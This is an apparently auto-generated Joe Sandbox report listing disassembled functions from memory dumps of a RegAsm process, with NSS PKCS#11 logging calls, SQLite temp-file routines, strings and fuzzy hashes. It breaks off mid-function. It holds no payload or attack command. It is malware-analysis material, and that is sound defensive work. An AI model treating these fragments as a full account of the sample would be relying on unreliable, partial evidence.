PR_vsmprintf.NSS3(?,?), ref: 6C480AE8
EnterCriticalSection.KERNEL32(?), ref: 6C480B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C480B48
OutputDebugStringA.KERNEL32(?), ref: 6C480B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C480C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C480C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C480C76
PR_LogFlush.NSS3 ref: 6C480C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C480C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480C9C
OutputDebugStringA.KERNEL32(?), ref: 6C480CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C480CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C480D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C480D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C480D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C480D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C480D90
free.MOZGLUE(00000000), ref: 6C480D99

Strings

%ld[%p]: , xrefs: 6C480A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C480A5B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 64c3da2bd715a79f43f5a157387c849ac5a328529182211132c9ae523b01354a
Instruction ID: 7018110fe313b8e5e980f63ac9dabaa0f071cc3ae928170dfbbc2504ce38ced4
Opcode Fuzzy Hash: 64c3da2bd715a79f43f5a157387c849ac5a328529182211132c9ae523b01354a
Instruction Fuzzy Hash: BEA10571A061949FDF10FF68CC88FAA3B78AF12328F080698F81993351D775EA95CB51

Function 6C3A28A0 Relevance: 50.9, APIs: 12, Strings: 17, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C3A28BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C3A28EF

Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(?), ref: 6C480B88
Part of subcall function 6C4809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C480C5D
Part of subcall function 6C4809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C480C8D
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480C9C
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(?), ref: 6C480CD1
Part of subcall function 6C4809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C480CEC
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480CFB
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C480D16
Part of subcall function 6C4809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C480D26
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480D35
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C480D65
Part of subcall function 6C4809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C480D70
Part of subcall function 6C4809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C480D90
Part of subcall function 6C4809D0: free.MOZGLUE(00000000), ref: 6C480D99

Part of subcall function 6C360F00: PR_GetPageSize.NSS3(6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F1B
Part of subcall function 6C360F00: PR_NewLogModule.NSS3(clock,6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C3A28D6

Part of subcall function 6C4809D0: PR_Now.NSS3 ref: 6C480A22
Part of subcall function 6C4809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C480A35
Part of subcall function 6C4809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C480A66
Part of subcall function 6C4809D0: PR_GetCurrentThread.NSS3 ref: 6C480A70
Part of subcall function 6C4809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C480A9D
Part of subcall function 6C4809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C480AC8
Part of subcall function 6C4809D0: PR_vsmprintf.NSS3(?,?), ref: 6C480AE8
Part of subcall function 6C4809D0: EnterCriticalSection.KERNEL32(?), ref: 6C480B19
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C480B48
Part of subcall function 6C4809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C480C76
Part of subcall function 6C4809D0: PR_LogFlush.NSS3 ref: 6C480C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C3A2963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C3A2983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C3A29A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C3A29C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C3A2A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C3A2A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C3A2A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C3A2A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C3A2AB6

Strings

maxSessions = %u, Sessions = %u, xrefs: 6C3A2A43
nHl, xrefs: 6C3A290B, 6C3A2937
slotID = 0x%x, xrefs: 6C3A28D1
maxRwSessions = %u, RwSessions = %u, xrefs: 6C3A2A61
pInfo = 0x%p, xrefs: 6C3A28EA
C_GetTokenInfo, xrefs: 6C3A28B8
label = "%.32s", xrefs: 6C3A295E
manufacturerID = "%.32s", xrefs: 6C3A297E
serial = "%.16s", xrefs: 6C3A29BE
model = "%.16s", xrefs: 6C3A299E
CKF_WRITE_PROTECTED, xrefs: 6C3A29FE, 6C3A2A1F
CKF_RNG, xrefs: 6C3A2A13, 6C3A2A20
firmware version: %d.%d, xrefs: 6C3A2AB1
CKF_LOGIN_REQUIRED, xrefs: 6C3A29F3, 6C3A2A1E
hardware version: %d.%d, xrefs: 6C3A2A89
CKF_USER_PIN_INIT, xrefs: 6C3A29E5
flags = %s %s %s %s, xrefs: 6C3A2A21

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo$nHl
API String ID: 2460313690-3640315443
Opcode ID: bd698264244aa8250d4ffc16727963afc439d16a18abbf1243cf7e5d146a9340
Instruction ID: b85b845d35dd8867d4c3b2e8b37c0c29b375f0991a543fa80bc9a29bfcddf26e
Opcode Fuzzy Hash: bd698264244aa8250d4ffc16727963afc439d16a18abbf1243cf7e5d146a9340
Instruction Fuzzy Hash: D151E6B1202050AFEB10EF90CE8DF5977A5EB4521DF458069ED489B612DF32EC15CB62

Function 6C446E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C35F9C9,?,6C35F4DA,6C35F9C9,?,?,6C32369A), ref: 6C2FCA7A
Part of subcall function 6C2FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C2FCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C30BE66), ref: 6C446E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C30BE66), ref: 6C446E98
sqlite3_snprintf.NSS3(?,00000000,6C4AAAF9,?,?,?,?,?,?,6C30BE66), ref: 6C446EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C30BE66), ref: 6C446ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C30BE66), ref: 6C446EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C30BE66), ref: 6C446F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C30BE66), ref: 6C446F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C30BE66), ref: 6C446F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C30BE66), ref: 6C446FA6
sqlite3_snprintf.NSS3(?,00000000,6C4AAAF9,00000000,?,?,?,?,?,?,?,6C30BE66), ref: 6C446FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C30BE66), ref: 6C446FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C30BE66), ref: 6C446FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C30BE66), ref: 6C447014
sqlite3_free.NSS3(00000000,?,?,?,?,6C30BE66), ref: 6C44701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C30BE66), ref: 6C447030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C30BE66), ref: 6C44705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C30BE66), ref: 6C447079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C30BE66), ref: 6C447097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C30BE66), ref: 6C4470A0

Strings

PHl, xrefs: 6C4470A8
winGetTempname1, xrefs: 6C44708F
winGetTempname5, xrefs: 6C447071
winGetTempname4, xrefs: 6C447046
winGetTempname2, xrefs: 6C4470C4
mz_etilqs_, xrefs: 6C446F18

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: PHl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3309683917
Opcode ID: bd072d29fb40cb2eab849de5e1a00c5e8d5ee5c250d88f79eecc69e45ac01def
Instruction ID: 3e11f86c07782f99805c7b2c67d982833e8bcb0845df1da87a6412842436df49
Opcode Fuzzy Hash: bd072d29fb40cb2eab849de5e1a00c5e8d5ee5c250d88f79eecc69e45ac01def
Instruction Fuzzy Hash: 835168B1A0511527F300EB309C51FEB366ACF82319F248538EC1696BC2FB22A51FC2D2

Function 6C3A8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C3A8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A8EB3

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C3A8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C3A8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C3A8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C3A8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C3A8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C3A8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C3A8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C3A9047

Strings

nHl, xrefs: 6C3A8FEC, 6C3A9023
(CK_INVALID_HANDLE), xrefs: 6C3A8EAC, 6C3A8F1F, 6C3A8F79
pMechanism = 0x%p, xrefs: 6C3A8EE0
pulWrappedKeyLen = 0x%p, xrefs: 6C3A8FC8
hKey = 0x%x, xrefs: 6C3A8F5B, 6C3A8F6B
hWrappingKey = 0x%x, xrefs: 6C3A8F01, 6C3A8F11
hSession = 0x%x, xrefs: 6C3A8E8E, 6C3A8E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6C3A9042
pWrappedKey = 0x%p, xrefs: 6C3A8FAD
C_WrapKey, xrefs: 6C3A8E71

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nHl
API String ID: 1003633598-3936494884
Opcode ID: 054ab08450e1b2bac1f65076e43becbdc437fa2e0a226c0e3fa8ce0d9019ceba
Instruction ID: 1e7911a61481c7a7e28c84c6b2540bd3e3f65b475685e5e9342ddb60c013c6a7
Opcode Fuzzy Hash: 054ab08450e1b2bac1f65076e43becbdc437fa2e0a226c0e3fa8ce0d9019ceba
Instruction Fuzzy Hash: 0A51C531502195EBDB10EF949D48F9E7B76EB4631CF048055E9086BA11DB31A92ACB93

Function 6C3D4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3875C2,00000000,00000000,00000001), ref: 6C3D5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3875C2,00000000), ref: 6C3D5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C3D5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C3D50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3875C2), ref: 6C3D50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C3D50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D5153
free.MOZGLUE(?), ref: 6C3D516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C3D517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D5195

Strings

config=, xrefs: 6C3D509B
nss=, xrefs: 6C3D5083
name=, xrefs: 6C3D5057
parameters=, xrefs: 6C3D506B
library=, xrefs: 6C3D5043

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 79f6ffdba71244ee170b2ec9c31a0f235b752da97bd6f45c0b77648835be99c1
Instruction ID: 8b33309a239f464ddc02eff47150ab1ec9b09f08b3e8ea2b0cebad190470c5b8
Opcode Fuzzy Hash: 79f6ffdba71244ee170b2ec9c31a0f235b752da97bd6f45c0b77648835be99c1
Instruction Fuzzy Hash: DB5165F6A011166BEB01DF259C41EAE37B89F16248F150024EC59E7741EB26F919CBF2

Function 6C3D4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C3C4F51,00000000), ref: 6C3D4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C3C4F51,00000000), ref: 6C3D4C5B
PR_smprintf.NSS3(6C4AAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C3C4F51,00000000), ref: 6C3D4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C3C4F51,00000000), ref: 6C3D4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3D4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3D4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3D4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C3C4F51,00000000), ref: 6C3D4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C3C4F51,00000000), ref: 6C3D4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C3D4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C3D4DA2
free.MOZGLUE(?), ref: 6C3D4DB9
free.MOZGLUE(00000000), ref: 6C3D4DCF

Strings

every, xrefs: 6C3D4CA1
%s,%s, xrefs: 6C3D4C4B
ootT, xrefs: 6C3D4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C3D4D9D
rootFlags, xrefs: 6C3D4D47
rust, xrefs: 6C3D4D22
any, xrefs: 6C3D4C96
0x%08lx=[%s %s], xrefs: 6C3D4D80
timeout, xrefs: 6C3D4C91
slotFlags, xrefs: 6C3D4D34

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 9b8041e7091c007409a1adfe775ac76f20a8b1975344d84036d89451c3f2dbf1
Instruction ID: 92d4f4713c51789dffe8ea4fd197ed664bd4cf72fac7e4b0bf574bbf050b9b76
Opcode Fuzzy Hash: 9b8041e7091c007409a1adfe775ac76f20a8b1975344d84036d89451c3f2dbf1
Instruction Fuzzy Hash: 6B418DB3D00141A7DB11EF959C84EBA7A65AF9230CF1A4124EC164B706E732E925CFD3

Function 6C3A4950 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6C3A4976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A49A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A49B6

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A49CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C3A49FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A4A09
PR_LogPrint.NSS3(?,00000000), ref: 6C3A4A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C3A4A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C3A4A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6C3A4A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6C3A4B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A4B26
PR_LogPrint.NSS3(?,00000000), ref: 6C3A4B3C

Strings

ulCount = %d, xrefs: 6C3A4A57
nHl, xrefs: 6C3A4AA6, 6C3A4ADC
(CK_INVALID_HANDLE), xrefs: 6C3A49AF, 6C3A4A02, 6C3A4B1F
*phNewObject = 0x%x, xrefs: 6C3A4B01, 6C3A4B11
phNewObject = 0x%p, xrefs: 6C3A4A77
pTemplate = 0x%p, xrefs: 6C3A4A39
C_CopyObject, xrefs: 6C3A4971
hSession = 0x%x, xrefs: 6C3A4991, 6C3A49A1
hObject = 0x%x, xrefs: 6C3A49E4, 6C3A49F4

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject$nHl
API String ID: 1003633598-1701932144
Opcode ID: 20dcd92cd437be4fa2f33d7d0a7c2db1028e05be5f830ec4c30c757da70ec77a
Instruction ID: 093cf55bb4918693f3a17198fd2815e267f632c19fefd2736cb2094bfa1b3b5a
Opcode Fuzzy Hash: 20dcd92cd437be4fa2f33d7d0a7c2db1028e05be5f830ec4c30c757da70ec77a
Instruction Fuzzy Hash: D451D634602154ABDB10EF849D88F9E7B75EB4631CF049058F8446BA11CB21ED2ACFA6

Function 6C3B6910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C3B6943

Part of subcall function 6C3D4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,D3824B49,flags,?,00000000,?,6C3B5947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C3D4220
Part of subcall function 6C3D4210: NSSUTIL_ArgGetParamValue.NSS3(?,GY;l,?,?,?,?,?,?,00000000,?,00000000,?,6C3B7703,?,00000000,00000000), ref: 6C3D422D
